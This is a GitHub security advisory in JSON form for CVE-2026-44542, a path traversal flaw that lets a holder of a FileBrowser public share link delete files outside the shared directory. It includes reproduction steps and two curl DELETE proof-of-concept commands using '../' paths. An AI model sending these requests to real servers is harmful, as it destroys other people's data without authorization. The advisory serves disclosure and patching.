CVE-2026-44542: Github.com/gtsteffaniak/filebrowser Path Traversal Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-fwj3-42wh-8673",
  "modified" : "2026-05-14T20:54:32Z",
  "published" : "2026-05-07T03:28:06Z",
  "aliases" : [ "CVE-2026-44542" ],
  "summary" : "FileBrowser Public Share DELETE API Path Traversal Allows Unauthenticated Arbitrary File Deletion",
  "details" : "### **Summary**\n\nAttacker-controlled path input is joined with a trusted base path prior to sanitization, allowing traversal sequences (e.g., ../) to escape the intended shared directory. As a result, an unauthenticated attacker possessing a valid public share hash with delete permissions enabled can delete arbitrary files outside the shared directory within the share owner’s configured storage scope.\n\n### **Affected Components**\n\n**Two distinct vulnerable code paths:**\n\n1. Stable versions (e.g., gtstef/filebrowser:stable)\n`DELETE /public/api/resources?hash=<hash>&path=../victim`\nRoot cause: middleware.go:111\nIssue: path query parameter is joined before SanitizeUserPath()\n2. Development / HEAD (e.g., commit eabdfd9)\n`DELETE /public/api/resources/bulk?hash=<hash>`\nBody: [{\"path\":\"../victim\"}]\nRoot cause: resource.go:274\nIssue: item.Path is joined before SanitizeUserPath()\n\n### **Steps to reproduce (Stable Version)**\n\n**1. Create a directory structure:**\n\n```\n/folder/shared_subdir/   (shared)\n/folder/protected.txt    (outside shared directory)\n```\n\n**2. Create a public share:**\n```\nPath: /shared_subdir\nAllowDelete=true\n```\n\n**3. Send request:**\n\n```\ncurl -X DELETE \"http://localhost/public/api/resources?hash=<HASH>&path=../protected.txt\"\n\n#Observe:\n#protected.txt is deleted despite being outside the shared directory\n```\n\n### **Proof of Concept (HEAD / bulk endpoint)**\n\n```\ncurl -X DELETE \"http://localhost/public/api/resources/bulk?hash=<HASH>\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '[{\"path\":\"../protected.txt\"}]'\n```\n\n### **Alternative PoC Scripts:**\n[poc_v3.sh](https://github.com/user-attachments/files/26159404/poc_v3.sh) (**If the script fails due to environment differences, the manual PoC above reliably reproduces the issue.**)\n\n\n### **Impact**\nAn unauthenticated attacker with access to a public share link configured with delete permissions enabled can delete attacker-chosen files outside the shared directory, anywhere within the share owner’s storage scope. This results in unauthorized data loss and potential service disruption.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/gtsteffaniak/filebrowser"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.0.0-20260501183844-112740bdd41d"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/gtsteffaniak/filebrowser/security/advisories/GHSA-fwj3-42wh-8673"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-44542"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/gtsteffaniak/filebrowser/commit/112740bdd41de7d5eb01e13ba49d406bfc463f69"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/gtsteffaniak/filebrowser"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-07T03:28:06Z",
    "nvd_published_at" : "2026-05-14T18:16:50Z"
  }
}